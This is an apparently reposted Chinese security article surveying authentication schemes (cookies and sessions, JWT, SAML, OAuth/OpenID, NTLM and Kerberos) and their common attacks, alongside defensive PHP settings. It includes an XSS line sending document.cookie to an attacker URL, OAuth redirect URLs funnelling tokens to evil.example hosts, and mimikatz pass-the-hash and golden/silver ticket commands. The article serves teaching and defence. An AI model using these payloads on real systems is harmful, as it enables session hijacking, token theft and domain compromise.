研究认证相关的安全问题也有一段实践了, 今天就对认证相关的安全问题做个总结. 其中涉及到一些前置概念这里无法一一讲解, 可以在相关 RFC 文档或者链接中深入阅读, 笔者已经把相关资料整理收录在参考链接. 本文更多的是对认证相关的安全问题做个总结. 另外文中引用了一些网络中的图片, 由于来源不一, 所以就不逐个标明, 在此一并感谢.
序
先对这些认证相关的东东做个简单的归类:
PKI,X509 是公钥密码领域用来进行公钥认证, 管理, 分发的机构以及规范;
cookie,session,JWT 是 web 领域保持会话状态的;
ADS 是活动目录服务器系统, 与 LM,NTLM,kerberos 一道与 Windows 认证或 Windows 域认证密不可分;
OAuth 和 OpenID 都可以作为认证需求, 只不过前者多了授权的概念;
SSO 是单点登陆, 是企业里面使用比较多的概念, 实现了 SSO 的协议有很多, 包括 kerberos,CAS 等, 而 SAML 就作为单点认证过程中的 xml 数据载体, 也可以说是一种协议, 提供了协议商定字段规范. 咋一看会觉得 SSO 和 OAuth,OpenID 有点类似, 其实他们很不一样. SSO 希望达到的效果是登陆一次在 expire 期限内访问所有服务, 即使是跨域状态, 但是 OAuth 或者 OpenID 实现的是使用同一平台账号登陆不同服务.
这里会有疑问, 这样看来不是和 SSO 一样了吗? 其实不然, 我们注意到 OAuth 或者 OpenID 登陆不同的服务是需要一直授权的, 举个例子, 我们登陆淘宝和微博是需要授权两次, 但是在 SSO 中就不一样了. 举个例子, 在公司中我只要认证一次, 就可以访问生产网上的所有服务, 也可以访问办公网上的一些资源, 我们只需要一次认证, 这样来看就可以理解二者的不同了.
0*01 cookie,session,JWT
cookie,session, JWT 都可以用来记录会话状态, JWT 是一种相对前两者比较新的概念, 和 cookie 一样需要保存在客户端, session 保存在服务端. 这里先主要聊聊 cookie 和 session.
直接看几张图我们就可以对 cookie,session 的原理有所了解.
以 PHP 为例, 服务端 session 生成以及 cookie 生成的过程:
客户端 cookie 和 session 的体现, session 字段在 cookie 里面
浏览器对 cookie 和 session 的缓存
服务端对 session 的保存形式
根据使用习惯有以下几点特性:
cookie 数据存放在客户的浏览器上, session 数据放在服务器上;
cookie 不是很安全, 别人可以分析存放在本地的 COOKIE 并进行 COOKIE 欺骗考虑到安全应当使;
用 session. 将登陆信息等重要信息存放为 SESSION, 其他信息如果需要保留, 可以放在 COOKIE 中, 减轻服务端压力.
单个 cookie 保存的数据不能超过 4K, 很多浏览器都限制一个站点最多保存 20 个 cookie.
cookie 的六元组的理解
setcookie(name,value,expire,path,domain,secure,httponly)
1\. name 和 value 字段自是不必多说, key-value 键值对
2\. expire 规定了 cookie 的过期时间
3\. path 从路径上指定了在请求某个特定的 url 目录的时候需要发送 cookie 值到服务端
4\. domain 则从域名上指定了在访问某个域的时候需要发送 cookie 值到服务端, 默认就是产生 cookie 时候的域名, 在大型的多子域名下的网站可以使用这个字段将 domain 设置成根域实现 cookie 共享.
5\. secure 属性则表明只有当一个请求通过 SSL 或 HTTPS 创建时, 包含 secure 选项的 cookie 才能被发送至服务器. 这种 cookie 的内容具有很高的价值, 如果以纯文本形式传递很有可能被篡改.
6\. httponly 设置成 TRUE,Cookie 仅可通过 HTTP 协议访问. 这意思就是 Cookie 无法通过类似 JavaScript 这样的脚本语言访问. 要有效减少 XSS 攻击时的身份窃取行为, 可建议用此设置(虽然不是所有浏览器都支持), 不过这个说法经常有争议. PHP 5.2.0 中添加. TRUE 或 FALSE
会话控制关键配置 PHP.INI
注意到会话中有一些配置和之前提到的 cookie 六元组有相似的地方, 但是设置的地方不一样, session 是通过 PHP 配置项直接管理, 而 cookie 在运行时设定, 通过 set-cookie 相应头反馈给客户端.
- # 有效期
- session.cookie_lifetime = 0
- # 有效路径
- session.cookie_path = /
- # 有效域
- session.cookie_domail=...
- # httponly 属性
- session.cookie_httponly = 1
- # 防御会话固定, 防止 session 未初始化, 默认是 0 不开启,[https://wiki.php.net/rfc/strict_sessions](https://wiki.php.net/rfc/strict_sessions)
- session.use_strict_mode=0
- # 是否安全传输, 仅当使用 https 传输时才可访问会话
- session.cookie_secure = on
- # 表示 SESSION 技术的实现是否需要依赖 COOKIE 1 表示是 0 表示否. 如果开启会话 id 将只在 cookie 中存储, 避免了 url 传递会话的攻击.
- session.use_only_cookies = 0
- # 表示是否允许使用表单传值的方式传递 PHPSESSID 0 表示否 1 表示是
- session.use_trans_sid = 1
- # session 的散列函数
- session.hash_function="sha256"
下面主要聊聊 cookie 和 session 常见的安全问题:
1. cookie 字段未设置 HttpOnly 容易被 DOM 访问, 结合 xss 脚本劫持攻击, 利用如下:
<img src=# onerror= "http://yourdomain/xss.php?data=" + document.cookie>
2. 会话固定(session fixation), 用户未认证前和认证后的 sessionID 没有刷新, 导致可以利用社工或者 XSS 等手段达到让其他人用自己已知的 sessionID 登陆, 从何获取受害者会话.
https://www.owasp.org/index.php/Session_fixation
笔者一开始以为会话固定是个比较容易被忽视的漏洞点, 所以尝试搭建环境复现了解下细节, 也尝试了上述链接提到的常见的几种利用手段. 但是发现一个问题, 要想利用会话固定漏洞, 怎么把固定的 sessionID 注入 victim 的浏览器中, 并且是和所要访问站点是同源态. 基于这两个限制, 利用的条件变得相当的苛刻. 经过一番实践大致可以得到四种思路:
中间人劫持, 直接注入 sessionID
利用同源站点的 XSS, 在没有设置和 httponly 条件下, document.cookie 直接修改
利用站点 CLRF 漏洞, 注入 sessionID
use_only_cookies 字段关闭下, URL 传递 sessionID,PHP 默认开启.
当看到 PHP 默认开启 use_only_cookie, 心里拔凉, 毕竟前三种利用的前提多多少少有些苛刻, 甚至让人绝望. 后来经过一番搜索了解到, javaEE 默认是支持 jsessionid, 目的就是避免有些浏览器不支持 cookie, 这样是为了兼容, 如此一来, 会话固定就又有了很多的利用价值. 这里有一个老哥和我的疑问类似
.
总的来说, 尽管 sessionID 暴露在 url 存在一定安全隐患, 但是为了兼容, 也还有不少网站使用这个做法, 让会话固定利用有了更低的门槛. 同样的, 进一步的了解发现, PHP 子系统 session 会话固定有一个 CVE 编号: CVE-2011-4718). 后来多的改进措施是更新重写了一些函数, 并出现了 session.use_strict_mode 模式. 在打开这个模式并且按照官方的实例代码, 可以很好的避免会话固定漏洞.
登陆期间后端 session 生成
- session_destory();
- session_regenerate_id();
- $_SESSION['valid_id'] = session_id();
认证会话校验
- if ($_SESSION['valid_id'] !== session_id()) {
- die('Invalid use of session ID');
- }
JWT 全名是 JSON Web token, 和 cookie,session 一样也是用来会话保持的. 与 cookie 和 session 机制不同的是, 它不需要再服务端保持会话状态, 每个 JWT 完全标识了一个用户的登陆态, 并且 token 完全保存在客户端, 在需要访问受访问控制的页面的时候就需要使用 token,token 可以存储在 localstorage 或者 cookie 字段. Token 由头部 (header), 负载 (payload), 签名 (signature) 组成. 在很多找回密码或者验证邮箱的功能中, 会使用到 JWT 这一技术, 将状态完全保存在客户端, 可以很大的释放服务端的资源压力, 也使得逻辑线没那么冗长.
有小伙伴可能会对完全保存存在客户端的 jwt 的安全性存在顾虑, jwt 的设计之初的协议是语义安全的. 因为服务端有签名的私钥, 只有服务端可以签名和验证签名. 在使用安全的签名算法的条件下可以保证不可篡改. 但是这一顾虑却是很应该的. 协议设计没问题, 不代表实现没问题(这是一条很实用的定律). 现总结一下常见的 jwt 认证安全问题.
需要注意的是 jwt 中对应的 base64 并不是一个严格意义上的 base64, 由于 token 有可能被做为 url, 而 base64 中的 +/= 三个字符会被转义, 导致 url 变得更长, 所以 token 的 base64 会将 + 转化为 - , / 转化为 _ , 删除 = .
1. 修改认证方式(空认证和 HS256 认证的缺陷)
如果后端的空认证检测做得不够好, 就会造成客户端修改签名方式为 none , 然后绕过在服务端的签名认证, 从未可以实现修改 token 的目的
如果后台使用 RSA 私钥进行认证, 我们可以把签名换成 HS256, 然后通过 HMAC-SHA256 签名算法, 使用 RSA 公钥来进行客户端认证篡改, 然后实现任意 payload 篡改的目的.
2. 弱认证方式的暴力破解
现在 GitHub 上有一些相对比较成熟的工具, 暴力破解 HS256 签名的 JWT, 如果签名的 key 是脆弱的, 那么可以直接暴力解出 key, 然后就可以为所欲为.
3. 使用 refresh token 和 access token 的非关联性脆弱
授权服务器没有检查 refresh 令牌 <-> 访问令牌关联. 这意味着我可以用 attack 的 refresh 令牌刷新 victim 的访问令牌.
4 .JWT 中字段涉数据库查询的注入利用
这一步骤是指在后台对 JWT 的 payload 数据进行了相应的数据库操作, 如插入, 查询等等, 但是却过滤不严谨, 在利用 JWT 的脆弱性后就可以进行任意的 sql 注入, 很多时候为了方便, 可以使用 sqlmap, 自己编写相关 temple 脚本达到自动化注入.
上面提到的攻击方式已经集成到了 webgoat 靶场中, 并且网上也有了不少教程这里就不再啰嗦.
0*02 SSO 单点认证
SSO 认证最常见的场景是在公司内部实现 ACL 控制的统一化, 一来是增加企业安全性, 防止口令泛滥, 而来给员工管理或者资源访问带来方便. 那么什么是 SSO 呢? 先看下下图:
以下内容节选自参考链接[3]
用户访问 App 系统, App 系统是需要登录的, 但用户现在没有登录.
跳转到 CAS server, 即 SSO 登录系统, 以后图中的 CAS Server 我们统一叫做 SSO 系统. SSO 系统也没有登录, 弹出用户登录页.
用户填写用户名, 密码, SSO 系统进行认证后, 将登录状态写入 SSO 的 session, 浏览器 (Browser) 中写入 SSO 域下的 Cookie.
SSO 系统登录完成后会生成一个 ST(Service Ticket), 然后跳转到 App 系统, 同时将 ST 作为参数传递给 App 系统.
App 系统拿到 ST 后, 从后台向 SSO 发送请求, 验证 ST 是否有效.
验证通过后, App 系统将登录状态写入 session 并设置 App 域下的 Cookie.
至此, 跨域单点登录就完成了. 以后我们再访问 App 系统时, App 就是登录的. 接下来, 我们再看看访问 app2 系统时的流程.
用户访问 app2 系统, app2 系统没有登录, 跳转到 SSO.
由于 SSO 已经登录了, 不需要重新登录认证.
SSO 生成 ST, 浏览器跳转到 app2 系统, 并将 ST 作为参数传递给 app2.
app2 拿到 ST, 后台访问 SSO, 验证 ST 是否有效.
验证成功后, app2 将登录状态写入 session, 并在 app2 域下写入 Cookie
SSO 单点认证的实现方式有很多, 包括主机认证层面和 Web 服务用户认证层面. 上面的交互过程是 Web 用户认证层面的交互细节. 后面聊到的 Windows 域认证 kerberos 协议就是主机认证域服务授权的实现方式.
SAML
有兴趣可以参考 SAML 的 RFC 文档
往简单了说 SAML 就是一种 xml 数据格式, 定义了规范字段用于单点认证, 本身也可以理解为一种协议规范, 认证媒介或者数据载体. 它作为 SSO 一种常用的实现方式. 我们看看 SAML 存在的安全隐患.
分析测试工具
SAML Raider bp( https://github.com/SAMLRaider/SAMLRaider )
安全性问题
1. 删除签名方式标签, 可以绕过认证, 源于 ssl 模式下的认证可选性
例子: https://hackerone.com/reports/136169
2. python-saml 组件对于字段的提取忽略标签属性后的值, 导致截断, 但是在做整体 hash 校验的时候会先进行规范化忽略注释, 导致修改固定字段但 saml 文件仍旧校验通过.
例子: https://duo.com/labs/psa/duo-psa-2017-003
3. SAML 消息过期机制和重放, 如果 SAML 中缺少了消息 expiration 定义, 并且断言 ID 不是唯一的, 那么就容易受到常见的重放攻击.
0*03 OAuth 与 OpenID
其实本质上来看, openID 和 OAuth 都是 SSO 的一种变形, 或者说是一种拓展实现, 其达到的效果在客户端看来都是使用一个账号登陆了很多种服务. 但是在服务端这几种方式切入点有不同. SSO 的初衷是为了实现 ACL 收敛到一个入口, 方便做权限管理, 避免密钥泛滥造成的安全隐患. 而 OpenID 是一种将认证承包给第三方服务的做法, 使得服务商可以避免复杂的 ID 管理, 而专注于业务. OAuth 其实一开始不是用来做认证的, 而是一种授权, 举个例子, 服务商 A 和服务商 B 隶属不同公司, 但是 A 的服务需要用到 B 服务中的一些资源, 这个时候就需要 client 将 A 服务的账号和 B 服务的账号关联, 走 OAuth 的协议实现这一资源请求的授权, 只不过到了 OAuth 2.0 以后, 人们发现授权的过程包含了认证的过程, 所以干脆就直接可以使用 OAuth 来进行认证.
OpenID
国内一般都用 OAuth2 协议做认证和授权, 所以这里只介绍一下 OpenID 的相关概念.
首先介绍概念:
- End User: 终端用户, 使用 OP 与 RP 的服务
- Relying Party 依赖方: 简称 RP, 服务提供者, 需要 OP 鉴权终端用户的身份
- OpenID Provider:OpenID 提供者, 简称 OP, 对用户身份鉴权
- Identifier 标识符: 标识符可以是一个 HTTP,HTTPS 或者 XRI(可扩展的资源标识)
- User-Agent: 实现了 HTTP1.1 协议的用户浏览器
- OP Endpoint URL:OP 鉴权的 URL, 提供给 RP 使用
- OP Identifier:OP 提供给终端用户的一个 URI 或者 XRI,RP 根据 OP Identifier 来解析出 OP Endpoint URL 与 OP Version
- User-Supplied Identifier: 终端用户使用的 ID, 可能是 OP 提供的 OpenID, 也可以是在 RP 注册的 ID.RP 可以根据 User-Supplied
- Identifier 来解析出 OP Endpoint URL,OP Version 与 OP_Local Identifer
- Claimed Identifier: 终端用户声明自己身份的一个标志, 可以是一个 URI 或者 XRI
- OP-Local Identifier:OP 提供的局部 ID
终端用户请求登录 RP 网站, 用户选择了以 OpenID 方式来登录
RP 将 OpenId 的登录界面返回给终端用户
终端用户以 OpenID 登陆 RP 网站
RP 网站对用户的 OpenID 进行标准化, 此过程非常复杂. 由于 OpenID 可能是 URI, 也可能是 XRI, 所以标准化方式各不相同. 具体标准化过程是: 如果 OpenID 以 xri://,xri://$ip 或者 xri://$dns 开头, 先去掉这些符号; 然后对如下的字符串进行判断, 如果第一个字符是 =,@,+,$,!, 则视为标准的 XRI, 否则视为 HTTP URL(若没有 http, 为其增加 http://).
RP 发现 OP, 如果 OpenId 是 XRI, 就采用 XRI 解析, 如果是 URL, 则用 Yadis 协议解析, 若 Yadis 解析失败, 则用 Http 发现.
RP 跟 OP 建立一个关联. 两者之间可以建立一个安全通道, 用于传输信息并降低交互次数.
OP 处理 RP 的关联请求
RP 请求 OP 对用户身份进行鉴权
OP 对用户鉴权, 请求用户进行登录认证
用户登录 OP
OP 将鉴权结果返回给 RP
RP 对 OP 的结果进行分析
OAuth
OAuth 在国内用得比较多, 这里就重点聊聊 OAuth.
OpenID 是用来认证协议, OAuth 是授权协议, 二者是互补的. 但在国内的使用情况中, OAuth 被作为认证进行 "滥用", 所以在国内基本都是采用 OAuth 这种方式进行第三方账号登陆. 在学习 OAuth 之前, 需要先了解以下 OAuth 的发展史. 2007 年 12 月 4 日发布了 OAuth Core 1.0, 此版本的协议存在严重的安全漏洞: OAuth Security Advisory: 2009.1.2009 年 6 月 24 日发布了 OAuth Core 1.0 Revision A: 此版本的协议修复了前一版本的安全漏洞, 并成为 RFC5849, 我们现在使用的 OAuth 版本多半都是以此版本为基础. OAuth 2.0 是 OAuth 协议的下一版本, 但不向后兼容 OAuth 1.0. OAuth 2.0 关注客户端开发者的简易性, 同时为 Web 应用, 桌面应用和手机, 和起居室设备提供专门的认证流程.
国内常用的第三方平开放台
微博开放平台
[http://open.weibo.com](http://open.weibo.com)
微信开放平台
[https://open.weixin.qq.com](https://open.weixin.qq.com)
QQ 互联平台
[https://connect.qq.com](https://connect.qq.com)
OAuth2 几个概念:
resource owner, 资源所有者, 能够允许访问受保护资源的实体. 如果是个人, 被称为 end-user.
resource server, 资源服务器, 托管受保护资源的服务器.
client, 客户端, 使用资源所有者的授权代表资源所有者发起对受保护资源的请求的应用程序. 如: Web 网站, 移动应用等.
authorization server, 授权服务器, 能够向客户端颁发令牌.
user-agent, 用户代理, 帮助资源所有者与客户端沟通的工具, 一般为 Web 浏览器, 移动 App 等.
一个客户端想要获得授权, 就需要先到服务商那注册你的应用. 一般需要你提供下面这些信息:
应用名称
应用网站
重定向 URI 或回调 URL(redirect_uri)
在发送 OAuth 请求的时候, 我们经称容易在请求头部看到如下几个参数:
- client_id
- response_type
- scope
- redirect_uri
- state
每次授权请求, 客户端都会生成一个 state, 并将其保存到 cookie 或 session 中. 授权成功后, 服务端原样返回 state, 客户端将其与 cookie 或 session 中的值进行比对.
重定向 URI 是服务商在用户授权 (或拒绝) 应用程序之后重定向用户的地址, 因此也是用于处理授权代码或访问令牌的应用程序的一部分. 在你注册成功之后, 你会从服务商那获取到你的应用相关的信息:
- client_id
- client_secret
client_id 用来表识客户端(公开), client_secret 用来验证客户端身份(保密).
OAuth2 常见的四种模式
具体的实现过程可以参看 rfc 文档
授权码模式
隐式模式(简化授权码模式)
登陆模式
客户端模式
OAuth 安全问题
谈及 OAuth 的安全问题, 在了解 OAuth 的认证机制后, 可以发现其中 access_token,code 这两个值是相当关键的, 只要我们有办法获取这些值, 或者直接劫持用户可以达到攻击效果. 下面是目前比较常见的安全问题.
1. 开放的重定向链接模式匹配
我们试想客户端在授权开放平台注册的重定向 URI 不是完全确定的, 如 "https://*.somesite.example/*" , [https://client.somesite.example/param?](https://client.somesite.example/param?)* . 针对这两种注册方式, 是完全有可能绕过的下面给出绕过的 poc(假设 client_id = 123456)
针对第一种注册重定向链接的模式: 接管了其子域名的情况下, 我们可以构造如下 url 诱使客户端访问. 但是一般情况下, 还需要 client_secret, 隐式模式下完全信任客户端就不再需要 client_secret 获取 code, 而是直接获取 access token.
[http://server.somesite.example/authorize?response_type=code&client_id=123456&state=xyz&redirect_uri=https://evil.somesite.example/cb
针对第二种注册重定向链接的模式, 在客户端存在可控的重定向参数 (这里是 redirect_to) 的情况下, 如果 OAuth 采取隐式模式, 我们可以直接将 access_token 引流至我们服务器
[http://server.somesite.example/authorize?response_type=token&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https://client.somesite.example/cb&redirect_to%3Dhttps%3A%2F%2Fclient.evil.example/c
2. 认证流混淆
这其实有点类似于中间人劫持, 并且要求的条件比较苛刻, 要想实现这种攻击需要满足三个条件:
(1)隐式或授权代码授权被用于多个 AS(这里先假设两个), 其中一个被认为是 "真实的"(H-AS), 另一个由攻击者操作(A-AS),
(2)客户端将用户选择的 AS 存储在绑定到用户浏览器的会话中, 并对这两个 AS 和使用相同的重定向 URI,
(3)攻击者可以操作从用户浏览器到客户端的第一个请求 / 响应对(其中用户选择某个 AS, 然后由客户端重定向到该 AS).
3. 认证信息泄露(access token,state,code......)
其实这种攻击和普通的 xss 类似, 只不过将 document.cookie 向量换成 Windows.location.href , 或者通过嵌入 iframe 的方式, 让认证信息外泄. 或者直接在服务端泄露 access_token 等.
4. 浏览器访问历史记录
一般的 OAuth 实现中, 由于涉及浏览器的重定向, 参数一般都是直接放在 url 上, 基于这一特性, 如果有办法直接接触浏览器的历史记录, 也是一个不错的方法. 不过这种手段有一个局限性, 那就 OAuth 一般有 expire 或者放重放机制, 如果时效性或者防重放做得不好, 或者使用了隐式模式也会带来危害.
5.redirect_url 重定向漏洞
如果服务器在用户输入的 redirect_url 参数上没有做过滤, 就会存在重定向漏洞, 结合 csrf, 可以让重定向漏洞为 csrf 或者 xss 提供跳板. 或者直接输入 attack 控制的域名, 在 refer 头部获取 token. 注意到在授权码模式下, redirect_url 的处理出现在 AS 和 client 端, 所以这两个地方都需要对 redirect_url 进行校验过滤, 第一处攻击可以获得 token, 利用获得的 token, 第二次就可以获得 access_token.
6. 不安全的 OAuth 认证会话
用户在授权的时候需要先认证, 如果 AS 在授权完毕后不主动注销登陆会话, 就会产生会话溢出. 在用户登出请求授权的 client 后, AS 处用户的登陆态仍旧保持, 那么如果浏览器被人控制的话, 可以直接获取这一开启的会话.
7. 账号关联功能 CSRF
试想一种攻击场景, 比如攻击者在一个网站关联 QQ 号, 那么它截获最后返回 access_token 时候的数据包, 把这个请求作为 payload 诱使 victim 访问, 在 victim 登陆了网站的前提下, 会自动将账号和攻击者的 qq 账号关联.
0x04 Windows 认证
Windows 上的认证大致可以分为两种, 一是没有加入 kerberos 的工作组概念的基于 NTLM 协议的认证, 二是 Windows 域环境的下的认证.
NTLM 认证
第一步, 首先在 client 输入 username,password 和 domain, 然后 client 会把 password hash 后的值先缓存到本地
第二步, 之后, client 把 username 的明文发送给 server(DC)
第三步, DC 会生成一个 16 字节的随机数, 即 challenge(挑战码), 再传回给 client
第四步, 当 client 收到 challenge 以后, 会先复制一份出来, 然后和缓存中的密码 hash 再一同混合 hash 一次, 混合后的值称为 response, 之后 client 再将 challenge,response 及 username 一并都传给 server
第五步, server 端在收到 client 传过来的这三个值以后会把它们都转发给 DC
第六步, 当 DC 接到过来的这三个值的以后, 会根据 username 到域控的账号数据库 (ntds.dit) 里面找到该 username 对应的 hash, 然后把这个 hash 拿出来和传过来的 challenge 值再混合 hash
第七步, 将 (6) 中混合后的 hash 值跟传来的 response 进行比较, 相同则认证成功, 反之, 则失败, 当然, 如果是本地登录, 所有验证肯定也全部都直接在本地进行了
我们可以看到, 在这个认证中, 使用到明文密码的地方只有用户登陆的时候, 后面使用到的全是密码 hash, 这样一来就产生了一个安全问题, PTH(Pass The Hash), 只要我们拿到了密码 hash 值就可以直接模拟用户登陆.
注意到 NTLM 时基于挑战的认证协议, 在认证前, DC 必须有用户密码 hash 的存储, 否则时不可能在第七部解密成功. 当然, 上面的场景是比较贴近域的概念, 使用了中心 DC 来存储用户的密码 hash 并且做挑战校验, 有一点 SSO 单点的登陆的意思, 但是仔细看会发现少了 ticket 的概念, 后面会发现域认证是 SSO 单点登陆的一种具体实现. 不过其实很多时候, DC 和 Server 是同一台机器, 协议流程和上面一致.
kerberos 认证
理解 kerberos 认证之前还是先来了解一下相关概念:
KDC: Key Distribution Center, 包括三大块(KAS,TGS, 密码 hash 数据)
KAS:Kerberos Authentication Service, 负责用户认证并签发 TGT
TGS: Ticket Granting Service, 负责认证 TGT 并签发服务票据 ST
TGT: Ticket Granting Ticket, 包括用户相关信息和 Logon Session Key(确保该用户和 KDC 之间通信安全的会话秘钥), 标识认证已完成
ST: Service Ticket, 服务票据, 用来访问相关服务, 标识服务已授权. ST 主要包含两方面的内容: 客户端用户信息和 Service Session Key(保客户端 - 服务器之间通信安全的会话秘钥), 并通过被请求服务的服务器密钥加密.
1)首先, 客户端 (client) 将域用户的密码 hash 一次并保存, 然后, 以此 hash 来作为客户端和 KDC 之间的长期共享密钥[kc](当然, 在 DC 上也保存着同样的一条 hash)
2)KRB_AS_REQ: 客户端 (client) 开始利用 (1) 中的域用户密码 hash 再把时间戳, clientid,TGS id 等信息混合 hash 一次, 然后向 as(认证服务器 [Authentication Server])服务器进行请求
3)KRB_AS_REP:AS 接到该请求后, 利用长期共享密钥 (kc) 进行解密, 解密成功后, 会返回给客户端两个票据
(1)加密的 K(c,tgs)(用于客户端后续向 KDC 发起请求), 其中 c=(TGS Name/ID, 时间戳等), 该票据由 Kc 加密
(2)票据授予票据(Ticket Granting Ticket, 简称 TGT), 该票据是给 TGS 的, 票据的内容包括 K(c,tgs), 其中 c=(Client 身份信息, 域名, 时间戳等), 该票据由 TGS 的秘钥加密, 只有 TGS 能够解密
4)KRB_TGS_REQ: 客户端会利用长期共享密钥解密 k(c,tgs), 并利用该秘钥加密生成一个 Authenticator, 其中 c=(lifetime, 时间戳, Client 身份信息等), 连同从 AS 获取的 TGT 一并发送给 TGS
5)KRB_TGS_REPTGS:TGS 利用自身的秘钥解密 TGT, 获取 K(c,tgs), 并用 K(c,tgs)解密客户端发送的 Authenticator, 对 Client 进行认证, 如果 Client 通过了认证, TGS 随机生成一个 Session Key K(c,s), 并产生两个票据
(1)服务票据(Ts): 这是给服务器的服务票据, 由 Server 秘钥 Ks 加密, 内容包括: K(c,tags), 其中 c=(Client 身份信息, Service ID, 时间戳, lifetime 等)
(2)客户端票据 (Tc): 该票据由 K(c,tgs) 加密, 其中 c=(K(c,s),Server 身份信息等)
6)KRB_AP_REQ: 客户端收到 tgs 的回应后, 利用 K(c,tgs)解密 Tc, 获取 K(c,s),Server 身份信息等, 并利用 K(c,s)加密生成一个 Authenticator 发送给 Server, 内容包括: 时间戳, Client ID 等信息, 连同 Ts 一并发送给 Server
7)KRB_AP_REP:Server 端在收到 Client 的请求后, 利用自身秘钥 Ks 解密 Ts, 得到 K(c,s), 再利用 K(c,s)解密 Authenticator, 对 Client 进行认证, 如果认证通过, 则表示 KDC 已经允许了此次通信, 此时 Sever 无需与 KDC 通信, 因为 Ks 为 KDC 和 Sever 之间的长期共享秘钥, 如果在有效时间内, 则此次请求有效.
关于 Windows 认证存在的攻击方式
通过对上述认证流程的理解, 我们可以归纳出 Windows 的域认证有以下几个敏感的特性:
- NTLM 认证中只用到用户密码 hash
- kerberos 用户的密码一般很少更改
- 只要知道 kerberos 用户 hash 就可以签发 TGT
- 只要知道提供服务的主机密码 hash, 就可以签发 ST
- 客户端可以随意询问特定服务的 TGT
- 域内的主机都能查询 SPN(服务标识符)
基于上面说到几个敏感特性, 催生了一些域渗透攻击手段.
PTH(Pass The Hash)
通过上面对 Windows 认证相关的了解, 我们可以知道在默认的工作组环境中, 以密码 hash 作为秘密, 通过 challenge 机制作为校验通过的依据, 所以认证的整个过程, 我们只需要知道用户 hash, 就可以根据协议流程实现特定用户的登陆.
- ~-sekurlsa
- privilege::debug
- sekurlsa::pth /user:xxx /ntlm:xxx's ntlm hash /domain:xxx /run:cmd.exe
- PTT(Pass The Ticket)
PTT 攻击是基于上述 kerberos 认证协议, 大致分为白银票据和黄金票据两种票据伪造攻击形式.
白银票据: 知道了服务主机的 ntlm hash 我们可以伪造 ST, 构造 KRB_AP_REQ 请求过程, 让服务端相信我们的 ST 是从 KDC 获取的, 其实我们是通过其 NTLM hash 自己生成的, 也即我给我自己颁发了一个合法的 ST.
黄金票据: 同样的, 如果我们有能力获取到 kerberos 用户的密码 hash, 那么我们就可以拥有 KDC 绝对的权力, 比如我们可以给自己签发高权限的 TGT, 然后利用构造 KRB_TGS_REQ 请求包获取任意服务的 ST.
- ~-kerberos
- # 白银票据
- mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit
- # 黄金票据
- mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit
- MS14-068
微软在 Windows 平台上的 Kerberos 并没有采用 MIT 的实现, 而是对 Kerberos 协议进行了一些扩充, 其中最重要的扩充就是增加了认证过程中的权限认证, 也就是在协议中增加了 PAC(Privilege Attribute Certificate), 特权属性证书, 主要目的就是用来实现权限的 ACL. 正是 PAC 这的加入, 开发对 kerberos 的实现就出了岔子. 可以造成在客户端 KRB_AS_REP 步骤中, 修改 PAC 从而获得域控权限的 TGT.
具体原理建议移步这篇文章: https://www.freebuf.com/vuls/56081.html
微软漏洞申明:
- # 域控上获取补丁修复信息
- systeminfo | findstr /i kb3011780
通过上述的手段如果发现域控没有安装这一补丁, 内网渗透的路子就会明朗开来, 现在已经有不少 exe, 或者脚本, 甚至在 msf 里面也有了利用集成.
- Python Script ) Msf Payload )
- Kerberoasting
三好学生前辈的文章, 写得已经十分详细.
参考
[1] https://tools.ietf.org/html/rfc7522
[2] https://tools.ietf.org/html/rfc6749
[3]
[4]
[5] http://avfisher.win/archives/tag/saml
[6]
[7]
[8]
[9] https://xz.aliyun.com/t/2445
来源: http://www.tuicool.com/articles/ANBjIfq